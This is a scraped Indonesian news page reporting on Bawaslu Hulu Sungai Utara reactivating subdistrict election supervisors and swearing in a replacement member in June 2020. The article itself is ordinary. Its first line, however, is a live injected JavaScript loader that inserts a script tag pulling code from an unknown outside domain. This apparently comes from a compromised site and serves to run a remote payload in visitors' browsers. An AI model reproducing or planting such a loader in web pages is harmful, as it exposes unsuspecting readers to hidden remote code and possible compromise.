(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Badan Pengawas Pemilihan Umum (Bawaslu) Kabupaten Hulu Sungai Utara (HSU) kembali mengaktifkan ratusan anggota Panitia Pengawas Pemilihan Umum (Panwaslu) Kecamatan se Kabupaten HSU.
Aktifnya kembali tugas Panwaslu Kecamatan dan Desa ditandai dengan pelantikan satu orang Pengganti Antar Waktu (PAW) Anggota Panwaslu desa yang digelar Sekretariat Bawaslu Kabupaten HSU pada Minggu (14/6/2020) kemarin. Dengan dilantiknya Akhmad Fauzi sebagai PAW anggota Panwaslu Desa Pandamaan, Kecamatan Danau Panggang.
Koordinator Divisi Hukum dan Penanganan Pelanggaran Bawaslu HSU Khairil kepada KanalKalimantan.com, Senin (15/6/2020) mengatakan, adanya pelantikan anggota Panwaslu Kecamatan sesuai dengan semua tahapan yang tertuang dalam PKPU 5 2020.
Meskipun secara teknis pengawasan pada intinya masih menunggu Perbawaslu, namun menurut Khairil petugas Panwaslu Kecamatan tetap harus mulai melakukan pengawasan di wilayah masing-masing. Salah satunya dengan membuat indeks-indeks kerawanan di tiap tahapan yang akan dilalui dalam pelaksanakan.
“Sehingga akan memunculkan focos pengawasan tiap tahapan, dengan adanya juga indeks-indeks yang dibuat akan mudah mendeteksi pelanggaran-pelanggaran yang akan terjadi,” kata Khairil.
Diaktifkannya kembali pengawas ad-hoc tersebut akan mempermudah pengawasan pemilihan di umum di wilayah Kabupaten HSU.
“Tetap bekerja sesuai tahapan, wajib memperhatikan protokol kesehatan, serta selalu melakukan koordinasi berjenjang,” imbuh Khairil.
Sementara itu, pengaktifan kembali petugas Panwaslu ditandai dengan pelantikan PAW Anggota Panwaslu Kecamatan yang digelar Sekretariat Bawaslu Kabupaten HSU pada Minggu (14/6/2020) kemarin.
Sebelumnya, dalam pelantikan yang dipimpin langsung Ketua Bawaslu Kabupaten HSU Syardani menuturkan bahwa anggota yang sudah diaktifkan tetap menjalankan tugas sesuai Undang-Undang,
“Jangan takut berlebihan, secara fisik dalam menjalankan tugas sesuai protokol kesehatan Covid-19, wajib pakai masker dan membawa handsanitizer serta selalu cuci tangan dengan sabun,” pesannya.
“Secara rohani camkan niat dalam menjalankan tugas sesuai sumpah dan janji yang sudah diucapkan, dan selalu bertawakal kepada Allah dengan berdoa,”pungkasnya.
Berikut Anggota Panwaslu Kecamatan Kembali Aktif di Kabupaten HSU :
Total keselurahan ada 30 orang petugas Panwaslu Kecamatan yang diaktifkan dan 219 PPKD se Kabupaten Hulu Sungai Utara. (kanalkalimantan.com/dew)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.